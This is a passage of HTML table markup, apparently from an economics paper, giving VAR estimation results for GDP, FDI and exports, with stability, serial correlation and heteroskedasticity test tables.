<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[ 0.93845]</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">DLNEXPORT(-1)</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-0.004646</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-0.429306</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-0.116972</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">(0.00896)</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">(0.14264)</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">(0.17386)</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[-0.51870]</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[-3.00968]</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[-0.67277]</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">C</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.017335</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.009198</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-0.312559</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">(0.03539)</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">(0.56368)</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">(0.68706)</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[ 0.48975]</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[ 0.01632]</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[-0.45492]</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">@TREND</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.000469</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.021219</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.008391</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">(0.00151)</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">(0.02399)</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">(0.02924)</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[ 0.31109]</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[ 0.88457]</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">[ 0.28697]</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">R-squared</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.340520</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.340992</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.078133</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Adj. R-squared</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.260584</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.261113</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-0.033609</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Sum sq. resids</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.337606</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">85.62375</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">127.2109</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">S.E. equation</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.101146</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">1.610795</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">1.963384</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">F-statistic</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">4.259865</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">4.268825</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.699228</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Log likelihood</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">35.82612</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-69.35482</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-76.87661</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Akaike AIC</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-1.622427</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">3.913411</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">4.309295</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Schwarz SC</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-1.406955</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">4.128883</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">4.524767</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Mean dependent</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.061641</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.096310</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.034578</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:126.55pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">S.D. dependent</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.117626</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">1.873920</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">1.931200</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:212.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Determinant resid covariance (dof adj.)</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.089990</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:212.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Determinant resid covariance</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">0.058937</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:212.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Log likelihood</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">-107.9645</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:212.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Akaike information criterion</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">6.471814</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:212.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">Schwarz criterion</span></span></p>\r\n			</td>\r\n			<td style=\"width:86.35pt\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\"><span style=\"color:black\">7.118230</span></span></p>\r\n			</td>\r\n			<td style=\"width:115.5pt\">\r\n			<p>&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Source: Own computation</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 6:</strong> Roots of Characteristic Polynomial.</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#002060; width:358%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">Endogenous variables: LNGDP LNFDI LNEXPORT </span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#002060; width:358%\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">Exogenous variables: C @TREND</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:57.66%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:42.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:57.66%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:42.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:57.66%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Root</span></p>\r\n			</td>\r\n			<td style=\"width:42.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Modulus</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:57.66%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:42.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:57.66%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:42.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:57.66%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.904532 - 0.158730i</span></p>\r\n			</td>\r\n			<td style=\"width:42.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.918353</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:57.66%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.904532 + 0.158730i</span></p>\r\n			</td>\r\n			<td style=\"width:42.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.918353</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:57.66%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.580373</span></p>\r\n			</td>\r\n			<td style=\"width:42.34%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.580373</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:57.66%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:42.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:57.66%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:42.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:100.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">No root lies outside the unit circle.</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:100.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">VAR satisfies the stability condition.</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Source: Own computation</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Table <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->7<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->: &nbsp;<strong>VAR Residual Serial Correlation LM Tests</strong></span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"background-color:#002060; width:358%\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">VAR Residual Serial Correlation LM Tests</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"background-color:#002060; width:358%\">\r\n			<p style=\"text-align:justify\"><span style=\"color:#ffffff\"><span style=\"font-size:10.0pt\">Null Hypothesis: no serial correlation at lag order h</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:37.66%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:37.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:37.66%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:37.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Lags</span></p>\r\n			</td>\r\n			<td style=\"width:37.66%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">LM-Stat</span></p>\r\n			</td>\r\n			<td style=\"width:37.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Prob</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:37.66%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:37.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:37.66%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:37.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</td>\r\n			<td style=\"width:37.66%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">9.465739</span></p>\r\n			</td>\r\n			<td style=\"width:37.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.3954</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.72%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</td>\r\n			<td style=\"width:37.66%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">5.546117</span></p>\r\n			</td>\r\n			<td style=\"width:37.62%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">0.7843</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:37.66%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:37.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:24.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:37.66%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:37.62%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:100.0%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Probs from chi-square with 9 df.</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Source: Own computation</span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Table <!--[if supportFields]><span style=\'font-size:10.0pt;\r\nline-height:115%;font-family:\"Times New Roman\",serif;mso-fareast-font-family:\r\nCalibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:EN-US;mso-fareast-language:\r\nEN-US;mso-bidi-language:AR-SA\'><span style=\'mso-element:field-begin\'></span><span\r\nstyle=\'mso-spacerun:yes\'> </span>SEQ Table \\* ARABIC <span style=\'mso-element:\r\nfield-separator\'></span></span><![endif]-->8<!--[if supportFields]><span\r\nstyle=\'font-size:10.0pt;line-height:115%;font-family:\"Times New Roman\",serif;\r\nmso-fareast-font-family:Calibri;mso-fareast-theme-font:minor-latin;mso-ansi-language:\r\nEN-US;mso-fareast-language:EN-US;mso-bidi-language:AR-SA\'><span\r\nstyle=\'mso-element:field-end\'></span></span><![endif]-->: <strong>VAR Residual Heteroskedasticity Tests: No Cross Terms (only levels and squares).</strong></span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:16.34%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"width:33.08%\">\r\n			<p style=\"text-align:justify\"><span style=\"font-size:10.0pt\">Joint test:</span></p>\r\n			</td>\r\n			<td style=\"width:16.72%\">\r\n			<p style=\"text-align:justify\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:16.74%\">\r\n			<p 